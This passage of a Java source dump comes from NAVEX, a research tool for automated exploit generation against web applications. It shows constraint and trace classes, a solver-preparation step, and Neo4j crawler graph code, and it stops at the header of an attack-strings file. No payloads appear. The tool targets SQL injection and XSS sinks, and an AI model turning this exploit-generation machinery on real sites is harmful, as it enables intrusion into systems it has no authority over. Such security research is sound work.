| // it doesnt like empty spaces in 132 | // IN constraints 133 | // e.g., IN x "/(1|2|)/" 134 | System.out.println("Ignoring empty option value \n"); 135 | ++iC; continue; 136 | } 137 | 138 | csUniq += perlEscape(sv); 139 | 140 | if(iC < iLast){ 141 | csUniq += "|"; 142 | } 143 | iC++; 144 | } 145 | 146 | sValue = "/(" + csUniq + ")/"; 147 | } 148 | 149 | return sValue; 150 | } 151 | 152 | public static String perlEscape(String csUniq) { 153 | String[] sPerl = {"\\\\", "@", "\\.", "\\^", "\\$", ":", "\\/", "\\=", "\\?", 154 | 155 | }; 156 | 157 | for (String se : sPerl) 158 | csUniq = csUniq.replaceAll(se, "\\\\\\\\" + se); 159 | 160 | return csUniq; 161 | } 162 | 163 | public static String inferType(String value, int textType) { 164 | // TODO Auto-generated method stub 165 | switch(textType){ 166 | 167 | case InferType.TEXT_TYPE: 168 | //return "/[a-zA-Z\\\\n\\\\t\\\\r ]*/"; 169 | return TSTR_TYPE; 170 | 171 | default: 172 | return inferType(value); 173 | } 174 | } 175 | 176 | public static String findCharsUsed(ArrayList domain){ 177 | 178 | String csUniq = ""; 179 | String sValue = ""; 180 | 181 | SortedSet ss = new TreeSet(); 182 | for (String sv : domain) { 183 | if (sv == null || sv.trim().equals("")) 184 | continue; 185 | for (char c : sv.toCharArray()) { 186 | ss.add(c); 187 | } 188 | } 189 | 190 | for (Character ch : ss) 191 | csUniq += ch.charValue(); 192 | 193 | // now escape the PERL special chars 194 | csUniq = perlEscape(csUniq); 195 | if (csUniq == ""){ 196 | //csUniq = "a-zA-Z\\\\r\\\\t\\\\n "; 197 | sValue = TSTR_TYPE; 198 | } else { 199 | sValue = "/[" + csUniq + "]*/"; 200 | } 201 | 202 | return sValue; 203 | } 204 | 205 | public static String inferTypeOr(ArrayList alValues, String var){ 206 | String sValue = ""; 207 | 208 | if (alValues == null || alValues.size() == 0){ 209 | //return "/[a-zA-Z\\\\n\\\\r\\\\t ]*/"; 210 | return TSTR_TYPE; 211 | } 212 | 213 | String csUniq = ""; 214 | if(alValues.size() == 1){ 215 | String sv = alValues.get(0); 216 | if(sv != null && !sv.trim().equals("")){ 217 | 218 | } 219 | } else { 220 | 221 | int orConsts = 0; 222 | for(String sv : alValues){ 223 | 224 | if(sv != null && !sv.trim().equals("")){ 225 | orConsts ++; 226 | 227 | } 228 | } 229 | 230 | if(orConsts > 1){ 231 | sValue = "\t (OR " + sValue + ")\n"; 232 | } 233 | } 234 | 235 | return sValue; 236 | } 237 | 238 | } 239 | -------------------------------------------------------------------------------- /src/formula/StaticFormulaInfo.java: -------------------------------------------------------------------------------- 1 | /** 2 | * @author Abeer Alhuzali 3 | * This class represents the TAC formula 4 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications" 5 | * 6 | */ 7 | package navex.formula; 8 | 9 | import java.util.HashSet; 10 | 11 | public class StaticFormulaInfo { 12 | 13 | HashSet formula; 14 | String file ; 15 | String lineno ; 16 | String node_id ; 17 | private String sinkType; 18 | private String unique_id; 19 | 20 | public String getSinkType() { 21 | return sinkType; 22 | } 23 | 24 | public void setSinkType(String sinkType) { 25 | this.sinkType = sinkType; 26 | } 27 | 28 | public HashSet getFormula() { 29 | return formula; 30 | } 31 | 32 | public void setFormula(HashSet formula) { 33 | this.formula = formula; 34 | } 35 | 36 | public String getFile() { 37 | return file; 38 | } 39 | 40 | public void setFile(String file) { 41 | this.file = file; 42 | } 43 | 44 | public String getLineno() { 45 | return lineno; 46 | } 47 | 48 | public void setLineno(String lineno) { 49 | this.lineno = lineno; 50 | } 51 | 52 | public String getNode_id() { 53 | return node_id; 54 | } 55 | 56 | public void setNode_id(String node_id) { 57 | this.node_id = node_id; 58 | } 59 | 60 | public StaticFormulaInfo() { 61 | HashSet formula = new HashSet (); 62 | } 63 | 64 | @Override 65 | public String toString() { 66 | String str = "StaticFormulaInfo [file=" + file + ", lineno=" + lineno + ", node_id=" 67 | + node_id + ", sinkType=" + sinkType +", unique_id=" + unique_id+"]"; 68 | str+="\t\t\tformula=" ; 69 | if (this.getFormula() != null) 70 | for (Formula f :this.getFormula()) 71 | str+=f.toString(); 72 | return str; 73 | } 74 | 75 | public String getUnique_id() { 76 | return unique_id; 77 | } 78 | 79 | public void setUnique_id(String unique_id) { 80 | this.unique_id = unique_id; 81 | } 82 | 83 | public StaticFormulaInfo(String file, String lineno, String node_id, String sinkType, String uniqueid, HashSet formula) { 84 | super(); 85 | this.file = file; 86 | this.lineno = lineno; 87 | this.node_id = node_id; 88 | this.sinkType = sinkType; //e.g: sql or xss 89 | this.unique_id = uniqueid; 90 | this.formula = formula; 91 | } 92 | 93 | } 94 | -------------------------------------------------------------------------------- /src/formula/Trace.java: -------------------------------------------------------------------------------- 1 | /** 2 | * @author Abeer Alhuzali 3 | * This class represents an execution trace 4 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications" 5 | * 6 | */ 7 | package navex.formula; 8 | 9 | import java.util.HashSet; 10 | 11 | public class Trace { 12 | HashSet clientFormula ; //form formula 13 | HashSet serverFormula ; //formula extracted form an execution trace 14 | 15 | HashSet newClientFormula ; //form formula after modification 16 | HashSet newServerFormula ; //formula extracted form an execution trace 17 | 18 | 19 | 20 | public Trace() { 21 | this.clientFormula = new HashSet(); 22 | this.serverFormula = new HashSet(); 23 | this.newClientFormula = new HashSet(); 24 | this.newServerFormula = new HashSet(); 25 | } 26 | 27 | public Trace(HashSet clientFormula, HashSet serverFormula) { 28 | super(); 29 | this.clientFormula = clientFormula; 30 | this.serverFormula = serverFormula; 31 | this.newClientFormula = new HashSet(); 32 | this.newServerFormula = new HashSet(); 33 | } 34 | 35 | public HashSet getClientFormula() { 36 | return clientFormula; 37 | } 38 | 39 | public void setClientFormula(HashSet clientFormula) { 40 | this.clientFormula = clientFormula; 41 | } 42 | 43 | public HashSet getServerFormula() { 44 | return serverFormula; 45 | } 46 | 47 | public void setServerFormula(HashSet serverFormula) { 48 | this.serverFormula = serverFormula; 49 | } 50 | 51 | public void setNewClientFormula(HashSet newC) { 52 | this.newClientFormula = newC; 53 | 54 | } 55 | 56 | 57 | } 58 | -------------------------------------------------------------------------------- /src/formula/TraceAnalysis.java: -------------------------------------------------------------------------------- 1 | /** 2 | * @author Abeer Alhuzali 3 | * 4 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications" 5 | * 6 | */ 7 | package navex.formula; 8 | 9 | import java.util.ArrayList; 10 | import java.util.HashMap; 11 | import java.util.HashSet; 12 | 13 | import org.htmlparser.tags.FormTag; 14 | 15 | import navex.HTMLForm; 16 | import navex.solver.Solver; 17 | 18 | 19 | public class TraceAnalysis { 20 | 21 | 22 | public static String start(Trace t, HTMLForm form){ 23 | 24 | HashSet newC = preprocessClientFormula(t.getClientFormula(), form); 25 | t.setNewClientFormula(newC); 26 | 27 | HashSet combinedFormulas = new HashSet(); 28 | combinedFormulas.addAll(newC); 29 | combinedFormulas.addAll(t.serverFormula); 30 | 31 | 32 | 33 | Solver solver = new Solver(combinedFormulas); 34 | Solver.setNegate(true); 35 | String spec = solver.prepareSolver(); 36 | Solver.setNegate(false); 37 | return spec; 38 | 39 | } 40 | 41 | /* 42 | * 1- all form input tags should be augmented with get or post based on the 43 | * form method. 44 | * 2- re-create a new client side formula set 45 | */ 46 | private static HashSet preprocessClientFormula(HashSet clientFormula, 47 | HTMLForm form) { 48 | 49 | FormTag ft = (FormTag)form.getForm(); 50 | 51 | 52 | HashSet newClientFormula = new HashSet(); 53 | 54 | if (ft.getFormMethod() != null){ 55 | String method = ft.getFormMethod().toUpperCase(); 56 | method = "$_".concat(method)+"["; 57 | for (Formula cf :clientFormula){ 58 | Formula newF= new Formula (cf); 59 | if (cf.getOperator().equalsIgnoreCase("=") || 60 | cf.getOperator().equalsIgnoreCase("maxlen") || 61 | cf.getOperator().equalsIgnoreCase("minlen")){ 62 | //create a new formula from the old one 63 | 64 | String newLeft = cf.getLeftOp().get(0); 65 | newLeft = method+newLeft.concat("]"); 66 | ArrayList leftOp = new ArrayList(); 67 | leftOp.add(newLeft); 68 | newF.setLeftOp(leftOp); 69 | newClientFormula.add(newF); 70 | } 71 | //we should update the right 72 | else if (cf.getOperator().equalsIgnoreCase("or")){ 73 | 74 | String newRight = cf.getRightOp(); 75 | newRight = method+newRight.concat("]"); 76 | 77 | newF.setRightOp(newRight); 78 | newClientFormula.add(newF); 79 | } 80 | } 81 | } 82 | //we add a formula from the action 83 | if (ft.getFormLocation() != null){ 84 | String action = ft.getFormLocation(); 85 | 86 | if (action.contains("?")){ 87 | HashMap varval = new HashMap (); 88 | String lastPart = action.substring(action.indexOf("?")+1); 89 | String[] args = lastPart.split("&"); 90 | for (String part : args){ 91 | String[] p = part.split("="); 92 | ArrayList temp = new ArrayList(); 93 | temp.add(p[0].trim()); 94 | Formula newF= new Formula (temp,"\""+p[1].trim()+"\"", "=", "FORM", "FORM"); 95 | newClientFormula.add(newF); 96 | } 97 | } 98 | 99 | } 100 | 101 | return newClientFormula ; 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /src/graphDatabase/DatabaseNode.java: -------------------------------------------------------------------------------- 1 | /** 2 | * @author Abeer Alhuzali 3 | * Navigation Graph Nodes 4 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications" 5 | * 6 | */ 7 | package navex.graphDatabase; 8 | 9 | import java.util.Map; 10 | 11 | 12 | public abstract class DatabaseNode { 13 | 14 | abstract public void initialize(Object obj); 15 | 16 | abstract public Map createProperties(); 17 | abstract public Map createPropertiesForms(); 18 | } 19 | -------------------------------------------------------------------------------- /src/graphDatabase/EdgeTypes.java: -------------------------------------------------------------------------------- 1 | /** 2 | * @author Abeer Alhuzali 3 | * Navigation Graph edges 4 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications" 5 | * 6 | */ 7 | package navex.graphDatabase; 8 | 9 | import org.neo4j.graphdb.RelationshipType; 10 | 11 | 12 | public class EdgeTypes 13 | { 14 | 15 | public static final String HAS_A_LINK_TO = "HAS_A_LINK_TO"; 16 | 17 | public static final String HAS_A_FORM_TO = "HAS_A_FORM_TO"; 18 | 19 | 20 | 21 | } 22 | -------------------------------------------------------------------------------- /src/graphDatabase/NavigationDatabaseNode.java: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | */ 4 | package navex.graphDatabase; 5 | 6 | import java.io.File; 7 | import java.io.FileOutputStream; 8 | import java.io.FileWriter; 9 | import java.io.IOException; 10 | import java.util.HashMap; 11 | import java.util.HashSet; 12 | import java.util.List; 13 | import java.util.Map; 14 | import java.util.Set; 15 | import java.util.Map.Entry; 16 | 17 | import org.apache.http.NameValuePair; 18 | import org.htmlparser.tags.FormTag; 19 | import org.neo4j.graphdb.Node; 20 | 21 | import navex.HTMLForm; 22 | import edu.uci.ics.crawler4j.crawler.CrawlConfig; 23 | import edu.uci.ics.crawler4j.crawler.Page; 24 | import edu.uci.ics.crawler4j.parser.HtmlParseData; 25 | import edu.uci.ics.crawler4j.url.WebURL; 26 | import navex.formula.Formula; 27 | 28 | /** 29 | * @author Abeer Alhuzali 30 | * Navigation Graph Nodes 31 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications" 32 | * 33 | */ 34 | public class NavigationDatabaseNode extends DatabaseNode{ 35 | 36 | Node neo4jNode; 37 | 38 | public Node getNeo4jNode() { 39 | return neo4jNode; 40 | } 41 | 42 | Page node; 43 | public Page getNode() { 44 | return node; 45 | } 46 | 47 | public void setNode(Page node) { 48 | this.node = node; 49 | } 50 | 51 | HtmlParseData data; 52 | 53 | public HtmlParseData getData() { 54 | return data; 55 | } 56 | 57 | public void setData(HtmlParseData data) { 58 | this.data = data; 59 | } 60 | 61 | @Override 62 | public void initialize(Object n) { 63 | this.node = (Page) n; 64 | if (((Page) n).getParseData() instanceof HtmlParseData ) 65 | data = (HtmlParseData) ((Page) n).getParseData(); 66 | } 67 | 68 | String url; 69 | String parent; 70 | String domain, path; 71 | public String getUrl() { 72 | return url; 73 | } 74 | 75 | public void setUrl(String url) { 76 | this.url = url; 77 | } 78 | 79 | public String getParent() { 80 | return parent; 81 | } 82 | 83 | public void setParent(String parent) { 84 | this.parent = parent; 85 | } 86 | 87 | int docid; 88 | private Set outLinks; 89 | 90 | public Set getOutLinks() { 91 | return outLinks; 92 | } 93 | 94 | public void setOutLinks(Set outLinks) { 95 | this.outLinks = outLinks; 96 | } 97 | 98 | //Used only in forms 99 | private String method; 100 | private HTMLForm form; 101 | private List params; 102 | 103 | 104 | public NavigationDatabaseNode (Page n ){ 105 | if (n != null){ 106 | this.node = n; 107 | this.url= n.getWebURL().getURL(); 108 | this.domain= n.getWebURL().getDomain(); 109 | this.parent = n.getWebURL().getParentUrl(); 110 | this.path = n.getWebURL().getPath(); 111 | this.docid = n.getWebURL().getDocid(); 112 | if (n.getParseData() instanceof HtmlParseData) 113 | {this.data= (HtmlParseData) n.getParseData(); 114 | this.outLinks= ((HtmlParseData) n.getParseData()).getOutgoingUrls(); 115 | 116 | } 117 | 118 | } 119 | } 120 | //this constructor is only for form destination nodes 121 | public NavigationDatabaseNode(Page page, HTMLForm form, List params, 122 | String method) { 123 | this.parent = page.getWebURL().getURL(); 124 | this.method = method; 125 | this.form = form; 126 | this.params = params; 127 | this.docid = page.getWebURL().getDocid(); 128 | this.node = page; 129 | String t= ((FormTag)form.getForm()).getFormLocation(); 130 | if (t.isEmpty() || t == null) 131 | this.url=page.getWebURL().getURL(); 132 | else 133 | this.url= ((FormTag)form.getForm()).getFormLocation(); 134 | } 135 | 136 | @Override 137 | public Map createProperties() { 138 | Map properties = new HashMap(); 139 | if (node != null) 140 | { 141 | int docid = this.docid;//node.getWebURL().getDocid(); 142 | properties.put(NodeKeys.ID, docid); 143 | 144 | String url = this.url;//node.getWebURL().getURL(); 145 | if (url != null) 146 | properties.put(NodeKeys.URL, url); 147 | 148 | String domain = this.domain;//node.get() 149 | if (domain != null) 150 | properties.put(NodeKeys.DOMAIN, domain); 151 | 152 | String path = this.path;//node.getWebURL().getPath(); 153 | if (path != null) 154 | properties.put(NodeKeys.PATH, path); 155 | 156 | String parentUrl = this.parent;//node.getWebURL().getParentUrl(); 157 | if (parentUrl != null) 158 | properties.put(NodeKeys.PARENT, parentUrl); 159 | 160 | if (data != null){ 161 | int links = data.getOutgoingUrls().size(); 162 | properties.put(NodeKeys.LINKS, links); 163 | 164 | int forms = data.getForms().size(); 165 | properties.put(NodeKeys.FORMS, forms); 166 | } 167 | 168 | List p = this.params;//node.get() 169 | if (p != null){ 170 | String str=""; 171 | for (NameValuePair pair : p) 172 | { 173 | str+=pair.getName()+"="+pair.getValue()+","; 174 | } 175 | 176 | properties.put(NodeKeys.PARAMS, str); 177 | } 178 | 179 | if (CrawlConfig.getRole() != null) 180 | properties.put(NodeKeys.ROLE, CrawlConfig.getRole()); 181 | 182 | 183 | } 184 | 185 | return properties; 186 | } 187 | 188 | 189 | @Override 190 | public Map createPropertiesForms() { 191 | Map properties = new HashMap(); 192 | if (node != null) 193 | { 194 | int docid = this.docid;//node.getWebURL().getDocid(); 195 | properties.put(NodeKeys.ID, docid); 196 | 197 | String parentUrl = this.parent;//node.getWebURL().getParentUrl(); 198 | if (parentUrl != null) 199 | properties.put(NodeKeys.PARENT, parentUrl); 200 | 201 | if (CrawlConfig.getRole() != null) 202 | properties.put(NodeKeys.ROLE, CrawlConfig.getRole()); 203 | } 204 | properties.put("method", this.method); 205 | properties.put("params", this.params); 206 | properties.put(NodeKeys.URL, this.url); 207 | 208 | return properties; 209 | } 210 | 211 | public void setNeo4jNode(Node node2) { 212 | this.neo4jNode= node2; 213 | 214 | } 215 | 216 | public NavigationDatabaseNode findParent(HashSet navNodes) { 217 | File f = new File ("output.txt"); 218 | FileWriter fw = null; 219 | try { 220 | fw = new FileWriter (f); 221 | } catch (IOException e1) { 222 | // TODO Auto-generated catch block 223 | e1.printStackTrace(); 224 | } 225 | 226 | for (NavigationDatabaseNode n: navNodes){ 227 | if (n != null && n.getNode() != null && n.getNode().getWebURL() != null) 228 | 229 | { try { 230 | fw.write("navNodes "+n.toString()); 231 | fw.write("\ncomparing "+this.getNode().getWebURL().getParentUrl() +"\n\t\t with "+ 232 | n.getNode().getWebURL().getURL()); 233 | } catch (IOException e) { 234 | // TODO Auto-generated catch block 235 | e.printStackTrace(); 236 | } 237 | 238 | 239 | if (n.getNode().getWebURL().CompareParentToChild 240 | (this.getNode().getWebURL())) 241 | 242 | { try { 243 | fw.write("\nthe matching node is "+n.toString()); 244 | } catch (IOException e) { 245 | // TODO Auto-generated catch block 246 | e.printStackTrace(); 247 | } 248 | return n; 249 | 250 | } 251 | } 252 | } 253 | return null; 254 | } 255 | 256 | @Override 257 | public String toString() { 258 | return "NavigationDatabaseNode [node=" + node.getWebURL().getURL() + ", parent=" + node.getWebURL().getParentUrl() + "]"; 259 | } 260 | 261 | 262 | public static NavigationDatabaseNode findNode(HashSet nodes, String url) { 263 | for (NavigationDatabaseNode n :nodes){ 264 | if (((String)url).equals((String)n.getUrl())) 265 | return n; 266 | } 267 | return null; 268 | } 269 | 270 | 271 | @Override 272 | public int hashCode() { 273 | final int prime = 31; 274 | int result = 1; 275 | result = ((url == null) ? 0 : url.hashCode()) 276 | + ((parent == null) ? 0 : parent.hashCode()) 277 | 278 | ; 279 | return result; 280 | } 281 | 282 | @Override 283 | public boolean equals(final Object obj) { 284 | if (this == obj) 285 | return true; 286 | if (obj == null) 287 | return false; 288 | if (getClass() != obj.getClass()) 289 | return false; 290 | final NavigationDatabaseNode other = (NavigationDatabaseNode) obj; 291 | if (url == null) { 292 | if (other.url != null) 293 | return false; 294 | } else if (!url.equals(other.url)) 295 | return false; 296 | 297 | if (parent == null) { 298 | if (other.parent != null) 299 | return false; 300 | } else if (!parent.equals(other.parent)) 301 | return false; 302 | 303 | 304 | 305 | return true; 306 | } 307 | 308 | 309 | 310 | } 311 | -------------------------------------------------------------------------------- /src/graphDatabase/NeoGraphDatabase.java: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | */ 4 | package navex.graphDatabase; 5 | 6 | import java.io.IOException; 7 | import java.net.URI; 8 | import java.net.URISyntaxException; 9 | import java.util.HashMap; 10 | import java.util.HashSet; 11 | import java.util.List; 12 | import java.util.Map; 13 | import java.util.Set; 14 | import java.util.Map.Entry; 15 | 16 | import javax.ws.rs.core.MediaType; 17 | 18 | import org.apache.http.NameValuePair; 19 | import org.slf4j.Logger; 20 | import org.slf4j.LoggerFactory; 21 | 22 | import com.sun.jersey.api.client.Client; 23 | import com.sun.jersey.api.client.ClientResponse; 24 | import com.sun.jersey.api.client.WebResource; 25 | 26 | import navex.HTMLForm; 27 | import edu.uci.ics.crawler4j.crawler.Page; 28 | import edu.uci.ics.crawler4j.url.WebURL; 29 | 30 | 31 | /** 32 | * @author Abeer Alhuzali 33 | * * this is the implementation of creating the navigation graph (a neo4j graph database) using Jason. 34 | * 35 | */ 36 | public class NeoGraphDatabase { 37 | 38 | protected final static Logger logger = LoggerFactory.getLogger(NeoGraphDatabase.class); 39 | private static final String SERVER_ROOT_URI = "http://localhost:7474/db/data/"; 40 | 41 | HashSet nodes ;//= new HashSet(); 42 | HashMap navNodes ;//= new HashMap<>(); 43 | HashMap urlUriMap ;//= new HashMap<>(); 44 | 45 | 46 | 47 | public NeoGraphDatabase() { 48 | super(); 49 | nodes = new HashSet(); 50 | navNodes = new HashMap<>(); 51 | urlUriMap = new HashMap(); 52 | } 53 | 54 | // START SNIPPET: createReltype 55 | private static enum RelTypes 56 | { 57 | HAS_A_LINK_TO, HAS_A_FORM_TO; 58 | } 59 | // END SNIPPET: createReltype 60 | 61 | /** 62 | * @param page 63 | * @param form 64 | * @param type: either form or link 65 | * @param params : for post request in forms , if it is a link, then it will be null 66 | * @param smethod : either get or post 67 | */ 68 | public void StartNeoDb(Page page, HTMLForm form, String type, List params, String method) 69 | { 70 | checkDatabaseIsRunning(); 71 | 72 | if (type == "link"){ 73 | createDbforLink(page); 74 | } 75 | else if (type == "form") { 76 | createDbforForm(page ,form , params, method); 77 | } 78 | 79 | 80 | } 81 | 82 | 83 | private void createDbforForm(Page page, HTMLForm form, List params, 84 | String method) { 85 | //creating source node 86 | String url = page.getWebURL().getURL(); 87 | URI nodeUri = null; 88 | 89 | if (this.urlUriMap.containsKey(url) ) 90 | { 91 | nodeUri = this.urlUriMap.get(url); 92 | } 93 | 94 | //creating dest node 95 | NavigationDatabaseNode ndn= new NavigationDatabaseNode (page, form, params, method); 96 | URI dest = createNode(); 97 | 98 | this.nodes.add(ndn); 99 | this.navNodes.put(dest, ndn); 100 | this.urlUriMap.put(ndn.getUrl(), dest); 101 | 102 | try { 103 | addNavigationNodePropertyForm(ndn, dest); 104 | } catch (URISyntaxException e) { 105 | // TODO Auto-generated catch block 106 | e.printStackTrace(); 107 | } 108 | 109 | try { 110 | addRelationship(nodeUri, dest, "HAS_A_FORM_TO" ); 111 | } catch (URISyntaxException e) { 112 | e.printStackTrace(); 113 | } 114 | 115 | 116 | 117 | } 118 | 119 | 120 | private void createDbforLink(Page page) { 121 | NavigationDatabaseNode ndn = NavigationDatabaseNode.findNode(this.nodes, page.getWebURL().getURL()); 122 | URI firstNode ; 123 | if ( ndn != null){ 124 | System.out.println("found the navigation node in DB "+ndn.getUrl()); 125 | for (Entry map : this.navNodes.entrySet()){ 126 | if (map.getValue().equals(ndn)) 127 | {firstNode = map.getKey(); 128 | System.out.println("used an already created node ndn is"+ ndn.toString()); 129 | try { 130 | addNavigationNodeProperty(ndn, firstNode); 131 | } catch (URISyntaxException e) { 132 | // TODO Auto-generated catch block 133 | e.printStackTrace(); 134 | } 135 | } 136 | } 137 | } 138 | else { 139 | 140 | System.out.println("Did Not find the navigation node in DB "); 141 | 142 | ndn= new NavigationDatabaseNode (page); 143 | 144 | 145 | ndn.initialize(page); 146 | 147 | // START SNIPPET: nodesAndProps 148 | firstNode = createNode(); 149 | 150 | this.nodes.add(ndn); 151 | this.navNodes.put(firstNode, ndn); 152 | this.urlUriMap.put(ndn.getUrl(), firstNode); 153 | 154 | try { 155 | addNavigationNodeProperty(ndn, firstNode); 156 | } catch (URISyntaxException e) { 157 | // TODO Auto-generated catch block 158 | e.printStackTrace(); 159 | } 160 | } 161 | 162 | } 163 | 164 | 165 | 166 | 167 | private static URI createNode() 168 | { 169 | // START SNIPPET: createNode 170 | final String nodeEntryPointUri = SERVER_ROOT_URI + "node"; 171 | // http://localhost:7474/db/data/node 172 | 173 | WebResource resource = Client.create() 174 | .resource( nodeEntryPointUri ); 175 | // POST {} to the node entry point URI 176 | ClientResponse response = resource.accept( MediaType.APPLICATION_JSON ) 177 | .type( MediaType.APPLICATION_JSON ) 178 | .entity( "{}" ) 179 | .post( ClientResponse.class ); 180 | 181 | final URI location = response.getLocation(); 182 | System.out.println( String.format( 183 | "POST to [%s], status code [%d], location header [%s]", 184 | nodeEntryPointUri, response.getStatus(), location.toString() ) ); 185 | response.close(); 186 | 187 | return location; 188 | // END SNIPPET: createNode 189 | } 190 | 191 | 192 | public static void addNavigationNodeProperty(NavigationDatabaseNode ndn, URI nodeUri) throws URISyntaxException { 193 | 194 | 195 | Map properties = ndn.createProperties(); 196 | 197 | for (Entry map :properties.entrySet()){ 198 | if (map.getKey()!= null && map.getValue() != null) 199 | { addProperty(nodeUri, map.getKey(), map.getValue().toString()); 200 | } 201 | 202 | } 203 | addLable(nodeUri); 204 | } 205 | 206 | private void addNavigationNodePropertyForm(NavigationDatabaseNode ndn, URI dest) throws URISyntaxException { 207 | Map properties = ndn.createPropertiesForms(); 208 | 209 | for (Entry map :properties.entrySet()){ 210 | if (map.getKey()!= null && map.getValue() != null) 211 | { addProperty(dest, map.getKey(), map.getValue().toString()); 212 | } 213 | 214 | } 215 | addLable(dest); 216 | } 217 | 218 | private static void addLable(URI nodeUri) throws URISyntaxException { 219 | 220 | // START SNIPPET: addlable 221 | URI Uri = new URI( nodeUri.toString() + "/labels"); 222 | // e.g : http://localhost:7474/db/data/node/59/labels 223 | 224 | WebResource resource = Client.create() 225 | .resource( Uri ); 226 | ClientResponse response = resource.accept( MediaType.APPLICATION_JSON ) 227 | .type( MediaType.APPLICATION_JSON ) 228 | .entity( "\"Dynamic\"" ) 229 | .post( ClientResponse.class ); 230 | 231 | System.out.println( String.format( "PUT to [%s], status code [%d]", 232 | Uri, response.getStatus() ) ); 233 | response.close(); 234 | // END SNIPPET: addlable 235 | 236 | } 237 | 238 | 239 | private static void addProperty( URI nodeUri, String propertyName, 240 | String propertyValue ) 241 | { 242 | // START SNIPPET: addProp 243 | String propertyUri = nodeUri.toString() + "/properties/" + propertyName; 244 | // http://localhost:7474/db/data/node/{node_id}/properties/{property_name} 245 | 246 | WebResource resource = Client.create() 247 | .resource( propertyUri ); 248 | ClientResponse response = resource.accept( MediaType.APPLICATION_JSON ) 249 | .type( MediaType.APPLICATION_JSON ) 250 | .entity( "\"" + propertyValue + "\"" ) 251 | .put( ClientResponse.class ); 252 | 253 | System.out.println( String.format( "PUT to [%s], status code [%d]", 254 | propertyUri, response.getStatus() ) ); 255 | response.close(); 256 | // END SNIPPET: addProp 257 | } 258 | 259 | 260 | 261 | 262 | public void addLinksStart() { 263 | logger.info("adding links to Neo4j graph database nodes "); 264 | 265 | for (Entry map : this.navNodes.entrySet()){ 266 | // System.out.println("nav map uri"+map.getKey()+"---"+map.getValue().getUrl()); 267 | if (map.getValue().getOutLinks() != null ){ 268 | for(WebURL wu :map.getValue().getOutLinks()){ 269 | String u = wu.getURL(); 270 | //System.out.println("Trying to link parent"+map.getValue().getUrl()); 271 | //System.out.println(" with out going url " + u); 272 | NavigationDatabaseNode tmp = NavigationDatabaseNode.findNode(this.nodes, u); 273 | if (tmp != null){ 274 | URI childNode = findURI((String)tmp.getUrl()); 275 | 276 | if (childNode != null){ 277 | try { 278 | addRelationship(map.getKey(), childNode, "HAS_A_LINK_TO" ); 279 | } catch (URISyntaxException e) { 280 | // TODO Auto-generated catch block 281 | e.printStackTrace(); 282 | } 283 | } 284 | else 285 | logger.debug("Could not link the two nodes because parent could not be found!!!!!!!"); 286 | } 287 | } 288 | } 289 | } 290 | } 291 | 292 | 293 | private URI findURI(String url) { 294 | for (Entry map : this.navNodes.entrySet()){ 295 | //Abeer : casting to string is important, otherwise, the condition will never 296 | //be satisfied 297 | if (((String)map.getValue().getUrl()).equals(url)) 298 | return map.getKey(); 299 | 300 | } 301 | return null; 302 | } 303 | 304 | 305 | 306 | // START SNIPPET: insideAddRel 307 | private URI addRelationship( URI startNode, URI endNode, 308 | String relationshipType ) 309 | throws URISyntaxException 310 | { 311 | URI fromUri = new URI( startNode.toString() + "/relationships" ); 312 | String relationshipJson = generateJsonRelationship( endNode, 313 | relationshipType); 314 | 315 | WebResource resource = Client.create() 316 | .resource( fromUri ); 317 | // POST JSON to the relationships URI 318 | ClientResponse response = resource.accept( MediaType.APPLICATION_JSON ) 319 | .type( MediaType.APPLICATION_JSON ) 320 | .entity( relationshipJson ) 321 | .post( ClientResponse.class ); 322 | 323 | final URI location = response.getLocation(); 324 | System.out.println( String.format( 325 | "POST to [%s], status code [%d], location header [%s]", 326 | fromUri, response.getStatus(), location.toString() ) ); 327 | 328 | response.close(); 329 | return location; 330 | } 331 | // END SNIPPET: insideAddRel 332 | 333 | private String generateJsonRelationship( URI endNode, 334 | String relationshipType ) 335 | { 336 | StringBuilder sb = new StringBuilder(); 337 | sb.append( "{ \"to\" : \"" ); 338 | sb.append( endNode.toString() ); 339 | sb.append( "\", " ); 340 | 341 | sb.append( "\"type\" : \"" ); 342 | sb.append( relationshipType ); 343 | sb.append( "\"" ); 344 | 345 | sb.append( " }" ); 346 | return sb.toString(); 347 | } 348 | 349 | 350 | 351 | 352 | private static void checkDatabaseIsRunning() 353 | { 354 | // START SNIPPET: checkServer 355 | WebResource resource = Client.create() 356 | .resource( SERVER_ROOT_URI ); 357 | ClientResponse response = resource.get( ClientResponse.class ); 358 | 359 | System.out.println( String.format( "GET on [%s], status code [%d]", 360 | SERVER_ROOT_URI, response.getStatus() ) ); 361 | response.close(); 362 | // END SNIPPET: checkServer 363 | } 364 | 365 | 366 | } 367 | -------------------------------------------------------------------------------- /src/graphDatabase/NodeKeys.java: -------------------------------------------------------------------------------- 1 | /** 2 | * @author Abeer Alhuzali 3 | * Navigation Graph Nodes 4 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications" 5 | * 6 | */ 7 | package navex.graphDatabase; 8 | 9 | import java.util.List; 10 | 11 | import org.apache.http.NameValuePair; 12 | 13 | public class NodeKeys 14 | { 15 | 16 | public static final String NODE_TYPE = "type"; 17 | public static final String ID = "id"; 18 | 19 | public static final String URL = "url"; 20 | public static final String PARENT = "parent"; 21 | public static final String DOMAIN = "domain"; //e.g., Domain: 'localhost' 22 | public static final String PATH = "path"; 23 | public static final String FORMS ="forms"; 24 | //Number of outgoing links 25 | public static final String LINKS = "links"; 26 | //role of the authenticated user (e.g., admin, normal user, etc.) 27 | public static final String ROLE = "role"; 28 | public static final String PARAMS = "params"; 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | } 37 | -------------------------------------------------------------------------------- /src/package-info.java: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | */ 4 | /** 5 | * @author abeer 6 | * 7 | */ 8 | package navex; -------------------------------------------------------------------------------- /src/solver/AttackStrings.java: -------------------------------------------------------------------------------- 1 | 2 | /** 3 | * @author Abeer Alhuzali 4 | * Attack Strings in the Attack Dictionary 5 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic 